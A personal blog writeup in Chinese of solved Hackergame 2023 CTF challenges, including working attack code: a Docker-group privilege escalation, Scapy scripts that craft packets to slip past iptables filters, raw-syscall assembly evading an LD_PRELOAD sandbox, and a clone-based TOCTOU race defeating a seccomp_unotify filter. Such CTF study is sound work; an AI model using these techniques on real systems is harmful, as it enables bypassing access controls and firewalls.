Hackergame 2023 Writeup

· 2155 words · 11 minute read
CTF

一年一度的 Hackergame 又来了,我这个非 CTF 玩家也来跟风娱乐一下。可惜这一周有很多作业和期中考试,因此也没能细心认真打,随便捡了几道题就去学习了(

截至目前比赛已经结束,最终成绩为 2350 分,排名 318 / 2378。以下是关于解出的题的 Writeup。

签到 #

经典 URL Query(

某人表示:类似的梗已经品鉴的足够多了,快端下去罢

Git? Git! #

读完题的时候就想到 Git 大概 reset 了还会保留一些东西的,但我对 Git 原理并不了解,所以只是猜,因为隐约记得有个什么 Git GC 之类的东西。拿下来之后查了一下,查到了 git reflog showgit reset HEAD@{}。轻松过了:

% git reflog show

ea49f0c (HEAD -> main) HEAD@{0}: commit: Trim trailing spaces
15fd0a1 (origin/main, origin/HEAD) HEAD@{1}: reset: moving to HEAD~
505e1a3 HEAD@{2}: commit: Trim trailing spaces
15fd0a1 (origin/main, origin/HEAD) HEAD@{3}: clone: from https://github.com/dair-ai/ML-Course-Notes.git
% git reset HEAD@{2}
Unstaged changes after reset:
M       .github/ISSUE_TEMPLATE/add-lecture-notes.md
M       LICENSE.md
M       README.md
% git diff | grep flag
-  <!-- flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t} -->

参考资料:

学到:

  • git-reflog(1)

Docker for Everyone #

看到加入 docker 组就知道大事不妙了,众所周知给 docker 组就等于给 root。进入环境发现会自动进入一个 Container,但 Container 里有 Docker socket,当前用户有 docker 组,且有 docker 二进制。/dev/shm/flag 不可读。抱着试一试的态度跑了一个 privileged container,速通:

% docker run -it --privileged -v /dev/shm/flag:/dev/shm/flag alpine cat /dev/shm/flag
flag{u5e_r00t1ess_conta1ner_e9b4fa1e23_plz!}

HTTP 集邮册 #

12 种状态码(25 分钟) #

尽管对网络不太熟,但我对 HTTP 还是略微有一点点了解的。这道题就是要收集尽量多的 HTTP Status Code。

200、400、404、405、505 很简单不赘述.

100:设置 Expect: 100-continue 请求头

GET / HTTP/1.1\r\n
Host: example.com\r\n
Expect: 100-continue\r\n
\r\n

HTTP/1.1 100 Continue

HTTP/1.1 200 OK

206:设置一个合法的 Range 请求头

GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=0-1023\r\n
\r\n

HTTP/1.1 206 Partial Content

304:设置 If-None-Match: * 请求头

GET / HTTP/1.1\r\n
Host: example.com\r\n
If-None-Match: *\r\n
\r\n

HTTP/1.1 304 Not Modified

405: 设置 If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT\r\n\r\n 请求头

GET / HTTP/1.1\r\n
Host: example.com\r\n
If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT\r\n
\r\n

HTTP/1.1 412 Precondition Failed

414:弄一个很长的 URI

416:设置一个不合法的 Range 请求头

GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=-11111110-9999999999999\r\n
\r\n

HTTP/1.1 416 Requested Range Not Satisfiable

501:设置一个不合法的 Transfer-Encoding 请求头

GET / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: 123123123\r\n
\r\n

HTTP/1.1 501 Not Implemented

没有状态……哈?(5 分钟) #

这道题一开始还以为是 HTTP/2 来着,折腾半天。阅读 RFC2616 HTTP/1.1 可知:

       Response      = Status-Line               ; Section 6.1
                       *(( general-header        ; Section 4.5
                        | response-header        ; Section 6.2
                        | entity-header ) CRLF)  ; Section 7.1
                       CRLF
                       [ message-body ]          ; Section 7.2

HTTP 响应是一定有状态码的。因此看一看更老的,RFC1945 HTTP/1.0:

       HTTP-message   = Simple-Request           ; HTTP/0.9 messages
                      | Simple-Response
                      | Full-Request             ; HTTP/1.0 messages
                      | Full-Response
   Simple-Request and Simple-Response do not allow the use of any header
   information and are limited to a single request method (GET).

       Simple-Request  = "GET" SP Request-URI CRLF

       Simple-Response = [ Entity-Body ]

因此这道题用 HTTP/0.9 即可:

GET /\r\n

<!DOCTYPE html>

参考资料:

学到:

  • HTTP 的各种状态码
  • HTTP/0.9

Komm, süsser Flagge(#10) #

我的 POST(30 分钟) #

我虽然对 iptables 很熟但我还是当场学了一下 strings module。这行的意思为对于 TCP dport 为 18080 的数据,如果包含 POST 即 RST 整个连接。而这道题的后端只允许 POST 而不是其他 Method,且 POST 还不能小写,中间不能拆开塞个 \0 之类的。于是想到能否把一个 POST 拆为两个包发送,这样即可绕过检查。但我对计算机网络还是比较萌新,也不懂 Linux 的网络栈,不知道怎么把一块东西拆成两块发而不是进什么 buffer。当时还尝试改小 NIC 的 MTU,现在觉得非常小丑。

时间来到第二天,等 Hackergame 开始了之后就继续拿起这道题。简单摸索了一下觉得应该有办法让 nc(1) 直接发一个或两个字节的,大概并不需要什么很特殊的处理。因此查到 nc(1) 之所以只在回车时发送并不是 nc(1) 自己的设定,而是 TTY 把我的一行输入给缓存了,等按回车了再发送。因此可以通过 stty -icanon && nc 关闭这个行为。同时设置 nc -O 1 -C 让它的 buffer size 为 1 且每次回车发送一个 CRLF,这样每个字节都会发一个单独的 TCP 包,保证拆开。

最后,只需要执行 stty -icanon && nc -C -v -O 1 203.38.93.111 18080 后手动把 POST 拆开再发送即可。中途似乎遇到了发完请求对面什么动静都没有的问题,说不定是我请求打错了。

% stty -icanon && nc -C -v -O 1 202.38.93.111 18080
Connection to 202.38.93.111 18080 port [tcp/*] succeeded!
POST / HTTP/1.1
Host: 202.38.93.111:18080
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

1145141919810==200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Mon, 30 Oct 2023 00:16:34 GMT
Content-Length: 31
Connection: close

flag{ea5Y_sPl1tt3r_f37ecb96a6}

参考资料:

学到:

  • iptables strings module
  • TCP 入门

我的 GET(3 小时,#7) #

因为懒得研究第二题那个复杂的表达式,先来做第三题。这道题昨晚看的时候发现 GET 任何东西都会超时,包括 HTTP 头包含 GET / HTTP。但昨天由于作业比较多没有细心研究。于是决定现在拿出 WireShark 好好分析一下。经过分析,发现那行 iptables 的语义为 对于每个 TCP dport 为 18082 的包,这个包(从 ethernet frame 开始)前 50 字节内必须有 GET / HTTP 包,否则就 RST。因此加 HTTP 头是没有意义的,因为一开始握手的 SYN 包里也需要包含这个字符串。于是我作为一个网络萌新就开始学习 TCP 握手,想看看怎么在 SYN 里塞自定义 Payload。

根据 RFC791:

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version|  IHL  |Type of Service|          Total Length         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Identification        |Flags|      Fragment Offset    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Time to Live |    Protocol   |         Header Checksum       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Source Address                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Destination Address                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Example Internet Datagram Header

                               Figure 4.

IPv4 头最小为 20 字节。

根据 RFC973:

  TCP Header Format

                                    
    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            TCP Header Format

          Note that one tick mark represents one bit position.

                               Figure 3.

TCP 头最小为 20 字节。

我当时觉得把 GET / HTTP 放在 TCP SYN 的 Payload 里应该是能正好工作的。但显然我忽略了 Ethernet 头的存在。于是我 Google 了一圈怎么在握手时塞东西,但感觉这种东西应该难以自定义,因为这都是 OS 网络栈做的工作。不过还是查到了 TCP Fast Open,或许可以使用 sendto(2) 来在 SYN 的时候发送自定义数据。不过我自己写了个 Demo 外加网上找了一些例程后,抓包都发现似乎 SYN 并没有包含所需的 Payload。我并不知道 TCP Fast Open 是怎么工作的,但或许这样做只是增加了 Fast Open Cookie Request 这个选项?总之,没有成功。

于是我又查到了 Scapy,似乎是一个很方便地能构造网络包的东西,我决定自己构造一个 TCP SYN 然后发出去,不用系统网络栈。这自然需要 RAW Socket,我当然不会用。于是网上东拼西凑写了一个 Python 脚本,拿到 RAW Socket 之后发送一个自己生成的 TCP(sport = sport, dport = dport, flags='S', seq=1000) / "GET / HTTP" 包,使用系统的 IP 头(IPPROTO_TCP)。经过一番折腾,这个字符串的确随着 SYN 发出去了,但我仍然收到了 RST。经过仔细阅读 WireShark 抓到的包,我发现这个字符串已经超过了前 50 个字节的限制。也就是说,前面的头还需要压缩,才能塞进去。不过前面的 Ethernet、IP、TCP 头都已经是最小大小了,并没有什么其他的地方可以塞东西。

正当我万念俱灰的时候,我猛地发现 IP 头有一个 Options 项,还是自定义长度的。我当时觉得这一定是预期解了 —— 因为没有其他任何地方可以塞这个字符串。当时我在学校图书馆差点跳起来,还好我还不那么想当小丑(

于是就开始网上搜索 Scapy 如何构造带自定义选项的 IP 包。同时也发现没有什么类似于调试用的选项,最接近的似乎只是 Commercial Security 和 Extended Security,还不保证中间的路由器会不会丢掉那些选项。最终,经过一番搜索和调试,外加我并不会写 Python 所带来的各种语法问题,写出了下面的代码:

from scapy.all import *
PORT = 18082
SPORT = 10297
DST = "202.38.93.111"
ip = IP(dst = DST, options=IPOption(b'\x83\x0cGET / HTTP'))

SYN = ip / TCP(sport = SPORT, dport = PORT, flags = "S")
SYNACK = sr1(SYN)

REQ = 'POST / HTTP/1.1\r\n\r\nHost: 202.38.93.111:18082\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\n<token>'
ACK = ip / TCP(dport = PORT, sport = SYNACK[TCP].dport, seq = SYNACK[TCP].ack, ack = SYNACK[TCP].seq + 1, flags='A') / REQ
reply = sr1(ACK)
reply.show2() # 这里不会显示 HTTP 响应 —— 我不知道怎么写,反正 tcpdump(2) 能看到。

结果我发现怎么发它都是 ICMP Parameter Problem,Pointer 为 0x0。经查这说明我的 Options 有问题,但 WireShark 说我发出去的包是正确的。一个偶然的机会,我把 WireShark 关掉(它是挂在宿主 Windows 上的,抓 VMware vnet 的包),改用 VM 里的 tcpdump(1),它突然就工作了,成功地没有收到 ICMP,但还是 RST。之后在我自己的 VPS 上监听这个端口并跑了一个 tcpdump(1),发现学校的网络会丢掉 IP Options。再次陷入绝望,因为觉得互联网上或许并不允许这种东西出现。

最后,抱着死马当活马医的态度,我把这段代码带到 VPS 上跑了一下,没想到它居然就工作了!说明只有学校的网络会这么做,我家的并不会。最终解出了这道题。

注意一下,需要提前设置一个 iptables OUTPUT 匹配 TCP RST 来 DROP 的规则,否则内核发现服务端 SYNACK 了没有建立的连接会自动 RST。

小插曲 1:中途还试图用 iptables 等工具来修改发出的包,但这显然是非常繁琐的。

小插曲 2:提交后同已经做完的 cubercsl 交流这道题,他是用 setsockopts 来设置 IP options 的,更加简单。

小插曲 3:提交后同已经做完的 cubercsl 交流这道题,他指出可以直接用提供的 OpenVPN 配置来连接,避免 options 被丢弃的问题。

参考资料:

学到:

  • IP Header
  • TCP Header
  • TCP Handshake
  • Scapy

我的 P(2h,#30) #

这道题最头痛的是那个 u32 匹配规则。经过查询资料后理解:

  1. u32 每次阅读 32bits,大端序。如果超过了包的大小,则整体匹配失败。
  2. 首先匹配开始时 Index 位于 IP Header 首。
  3. 0 >> 22 & 0x3C 计算出了 IP 头的长度。
  4. @ 将 Index 移动到上面计算出的长度的位置,也就是 TCP 头的起点。
  5. 12 >> 26 计算出了 TCP 头的长度。
  6. @ 将 Index 移动到上面计算出的长度的位置,也就是 Payload 的起点,也就是 HTTP 开头。
  7. 0 >> 24 = 0x50 读取 HTTP 第一个字节,如果是 ‘P’ 则 RST。

因此这道题和第一题大同小异,不过略微难了一点,即它要求首字节不能是 ‘P’,因此无法拆开发送。不过就在我查资料的时候,留意到了一点:资料中举了两个解析 IP 头长度和 TCP 头长度的例子。前者为 0 >> 22 & 0x3C 得到 IP 头长度,和本题中一致。后者为 12 >> 26 & 0x3C 计算 TCP 头的长度,但本题中缺少了 & 0x3C。我觉得这就是问题所在。

经过仔细研究 WireShark 抓到的包,并结合 TCP Header 格式,我们可以发现:

  TCP Header Format

                                    
    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            TCP Header Format

          Note that one tick mark represents one bit position.

                               Figure 3.

字节 12 也就是 Data offset(TCP 头长度)处。然而 Data Offset 只占据高 4bits,剩下的 4bits 为 reserved。下一个 byte 的两个 MSB 也是 reserved,六个 LSB 则是 flags。然后接下来两个 bytes 为 Window。因此,>> 26 实际上就是删除了读取出来的四个字节的最后三个(Flags 及 Window),也删除了左侧字节的两个 Reserved 低位,剩下了 MSB 4bits offset 以及 2bits LSB reserved。而 & 0x3C 即是抹掉两个 reserved LSB,只剩下四个表示长度的高位。

本题中没有 & 0x3C,意味着我们可以构造一个带有 Reserved != 0 的(非法)TCP 包来让 Filter 跑到一个错误的地方,以此萌混过关。幸运地,Scapy 提供了一个设置 reserved bits 的办法: TCP(reserved = [uint3])。它只能设置 3bits,但足够了。只需要将高位设置为 1 来打乱 Filter 即可。最终的脚本为:

from scapy.all import *
PORT = 18081
SPORT = RandShort()
# DST = "202.38.93.111"
DST = "192.168.23.1"
# DST = "45.76.247.37"
ip = IP(dst = DST)
# ip.show2()
# exit(0)

RES = 7 # 0b111

SYN = ip / TCP(sport = SPORT, dport = PORT, flags = "S", reserved = RES)
SYN.show2()
SYNACK = sr1(SYN)
# SYNACK.show2()

REQ = 'POST / HTTP/1.1\r\nHost: 202.38.93.111:18082\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\n<token>'
ACK = ip / TCP(dport = PORT, sport = SYNACK[TCP].dport, seq = SYNACK[TCP].ack, ack = SYNACK[TCP].seq + 1, flags='A', reserved = RES) / REQ
ACK.show2()
reply = sr1(ACK)

reply.show2()

注意,这里需要用 OpenVPN,因为我家里网络会重置 Reserved bits。

小插曲,在提交完后我同 cubercsl 交流了一下,发现他是直接用的第一题答案,将 POST 拆开,就过了。这明显是非预期解,但我还是花了一定时间来 Debug 为什么。结果是,因为 u32 module 每次会读取 32bits,如果超过了包的大小,则会匹配失败。因此如果第一次发送 POS 或任何 < 4 个字节的包,匹配都会失败,无论第一个字节是不是 ‘P’。这或许是题目的一个 Bug 吧。

等折腾完这些已经半夜 1:30 了,赶紧睡觉。结果半夜做梦满脑子都是 TCP/IP,鉴定为打 hg 打的。

参考资料:

学到:

  • iptables u32 module

为什么要打开 /flag 😡(总计 2h,#9) #

LD_PRELOAD, love! #

这道题花了一点时间来理解,一开始以为是上传一个自己的 LD_PRELOAD so 来着,于是我直接 comment 掉了 lib.c 里的所有东西交了个空白 ELF 上去,结果显示 -11(SIGNAL 11)。研究了一会才发现是用它内置的 LD_PRELOAD 跑我的 Executable。很显然这道题的目的是手操 syscall,毕竟大家都知道 LD_PRELOAD 是对符号的不是对 syscall 的。我以为它只是覆盖掉了 open(3) system(3) 来着,于是写了一下 int fd = syscall(SYS_open, “/flag”, O_RDONLY, 0); 再 read(3),无果。还 exec(3) 了一下 cat(1) 还是无果,返回了一个很迷惑的 0。仔细一看才发现连 exec(3) 和 syscall(3) 也给屏蔽了,顿时生气了起来,这出题人是铁了心逼着我写 ASM 啊?毕竟我对 x86 不熟,就 Google 了一些内联汇编,发现我对内联汇编也不太熟。最后 Google 了一个 nasm 跑 write(2) 的程序,改了一下,得到 flag:

; https://www.cs.fsu.edu/~langley/CNT5605/2017-Summer/assembly-example/assembly.html
        global  _start
        section .text
_start:
        ; int open(char *pathname, int flags)
    mov rdi,path                        ; pathname
    mov rsi,0                           ; flags = O_RDONLY
        mov     rax,2                           ; open(2)
        syscall

        ; ssize_t read(int fd, void *buf, size_t count)
        mov     rdi,rax                 ; fd
        mov     rsi,buf         ; buffer
        mov     rdx,50                  ; count
        mov     rax,0                   ; read(2)
        syscall

        ; ssize_t write(int fd, const void *buf, size_t count)
        mov     rdi,1                   ; fd
        mov     rsi,buf         ; buffer
        mov     rdx,50  ; count
        mov     rax,1                   ; write(2)
        syscall

        ; exit(result)
        mov     rdi,0                   ; result
        mov     rax,60                  ; exit(2)
        syscall
hello_world:    db "Hello World!",10
path:   db "/flag"
hello_world_size EQU $ - hello_world

    section .bss
buf: resb 50

做完后同 cubercsl 交流,得知他直接用 gcc --static 得到了一个静态链接 libc 的二进制。我也想到了这种方法,但由于不太会静态链接东西(尤其是 libc 这套工具链)就没有这样做。

参考资料:

都是 seccomp 的错 #

这道题一看题目就知道和 seccomp 有关。可惜我对 seccomp 不熟,只能现学。它的代码是用 Rust 写的,我对 Rust 也不熟,于是硬着头皮看。一开始我以为它只是干掉了 open(2) 和 openat(2) 两个 syscall,没有读别的代码,于是用 link(3) 试图创建一个 symlink 到 /flag,不成功。仔细一看才发现有一个 syscall 白名单,只允许非常少量的 syscall:

const ALLOWLIST: &[&str] = &[
    "brk",
    "arch_prctl",
    "access",
    "newfstatat",
    "mmap",
    "close",
    "read",
    "pread64",
    "set_tid_address",
    "exit_group",
    "set_robust_list",
    "rseq",
    "mprotect",
    "prlimit64",
    "munmap",
    "getrandom",
    "sendmsg",
    "write",
    "execve",
    "getdents64",
    "statx",
    "ioctl",
    "lseek",
    "rt_sigprocmask",
    "futex",
    "writev",
    "clone",
];

里面显然没有什么能代替 open(2) 的存在。怎么办呢,硬着头皮继续读它的代码。结合题目看了半天之后终于大概明白了怎么回事,它给每个 syscall 都默认返回 errno 144,上面 ALLOWLIST 里的放行,open(2) 和 openat(2) 使用 seccomp_unotify(2) 通知到它的一个线程池里的 handler,然后检测请求的 path 是否包含 flag,包含就自己 open(2) 一个 fakeflag 文件塞回我的程序,否则用 continue 放行。因为这是我头一次听说 seccomp_unotify(2),于是便读起了它的 man page。好巧不巧里面大字写了绝对不能用来做安全的事情,还写了好几遍:

       In conventional usage of a seccomp filter, the decision about how
       to treat a system call is made by the filter itself.  By
       contrast, the user-space notification mechanism allows the
       seccomp filter to delegate the handling of the system call to
       another user-space process.  Note that this mechanism is
       explicitly not intended as a method implementing security policy;
       see NOTES.

那我寻思就一定和它有关了,仔细一读:

       The SECCOMP_USER_NOTIF_FLAG_CONTINUE flag must be used with
       caution.  If set by the supervisor, the target's system call will
       continue.  However, there is a time-of-check, time-of-use race
       here, since an attacker could exploit the interval of time where
       the target is blocked waiting on the "continue" response to do
       things such as rewriting the system call arguments.

再结合它的代码:

    let path = req.get_request().data.args[path_pos];
    let remote = RemoteProcess::new(Pid::from_raw(req.get_request().pid as i32)).unwrap();
    let mut buf = [0u8; 256];
    remote.read_mem(&mut buf, path as usize).unwrap();
    // debug!("open (read from remote): {:?}", buf);
    let path = CStr::from_bytes_until_nul(&buf).unwrap();
    if !req.is_valid() {
        return req.fail_syscall(libc::EACCES);
    }
    info!("open (path CStr): {:?}", path);
    if path.to_str().unwrap().contains("flag") {

显然它是到我的内存里读了那个 path buffer,判断,然后再决定要不要 continue。这里明显有一个 TOCTOU 问题的,因此可以先 syscall open(2) 一个其他路径,然后等它检查的时候把 path buffer 覆盖成 “/flag”。我觉得这个大体思路是正确的。不过具体如何实现还有一些问题。比如我不太清楚 unotify 是不是全 sync 的,即我 syscall 指令是否会 block 直到它的 notify handler 跑完,如果是的话就不可行了。同时为了增加可靠程度我需要用另外一个线程来 while (1) path = // correct path。不过同步的可能性不大,因为它的程序是用线程池 poll 那个 unotify fd 来实现的,kernel 应该不会让我的 syscall 卡那么久(吧)。不过是不是 sync 其实都无妨,就算我的 read(2) 卡住也可以开一个新线程来卡它的 TOCTOU 的。

本着试一试的原则我写了个 pthread 来做这件事。不过真跑起来发现 pthread_create 也不在白名单里。我觉得我或许想复杂了 —— 单线程,在 open(2) 后紧跟着覆盖 path buffer 应该可行。不过我写了个大循环暴力尝试一千次,发现并不可行。正当我万念俱灰的时候,我重新看了一下 syscall 白名单,猛地发现里面有个 clone(2)。clone(2) 不是可以创建线程吗?我虽然对它不熟但显然可以从网上抄一个 clone 创建线程的例子拿来用。同时,为了增加可靠性,我把 open(2) 和设置 path buf 的代码都循环了很多次,path buf 自动在正确和错误的之间切换,然后 read(2) 后检查是否是 flag,如果是就退出。

于是就产生了如下代码:

static volatile int e = 1;
static char path[5] = "/flbg";

static int func(void* arg) {
    while (e) {
        for (int i = 0; i < 20; i ++) path[3] = 'a';
        for (int i = 0; i < 20; i ++) path[3] = 'b';
    }
}

int main(void) {
    int id = clone(&func, malloc(4096), CLONE_SIGHAND | CLONE_FS | CLONE_VM, NULL);
    if (id == -1) {
        err(errno, "clone");
    }
    for (int z = 0; z < 1000; z ++) {
        int fd = syscall(SYS_open, path, O_RDONLY, 0);
        if (fd == -1) {
            continue;
        }
        char buf[100];
        read(fd, buf, sizeof(buf));
        if (buf[0] == 'f') {
            printf("%s\n", buf);
            e = 0;
            return 0;
        }
    }
}

最后,记得及时退出线程,否则超时会没有任何输出。提交后即可拿到 Flag。

参考资料:

学到:

  • seccomp
  • clone(2)

更深更暗(5min) #

F12。

 async function getFlag(token) {
        // Generate the flag based on user's token
        let hash = CryptoJS.SHA256(`dEEper_@nd_d@rKer_${token}`).toString();
        return `flag{T1t@n_${hash.slice(0, 32)}}`;
    }

原以为是什么奇妙的二进制 encoded 进图像的,结果滚了半天都没到头,垃圾出题人还我内存(

猫咪小测(10 分钟,#721) #

答案分别是 12、23、CONFIG_TCP_CONG_BBR、ECOOP。

参考资料:

JSON ⊂ YAML? #

YAML 辣鸡,好骂!

JSON ⊄ YAML 1.1(#320) #

输入 1e2 即可。

Please input your token: 
Input your JSON: { "a": 1e2 }
As JSON: {'a': 100.0}
As YAML 1.1: {'a': '1e2'}
Flag1: flag{faf9facd7c9d64f74a4a746468400a5072c3b6092f}

参考资料:

结语 #

这可能是我第一(或第二?)次认真玩这种东西,大概上一次是 Hackergame 2020 / 2021 吧。很多题目感觉是非常有意思的,比如上面的 HTTP 状态码、iptables、seccomp,玩下来都能学到许多杂七杂八的知识,我觉得是很有意义的,希望以后能多参加这种活动((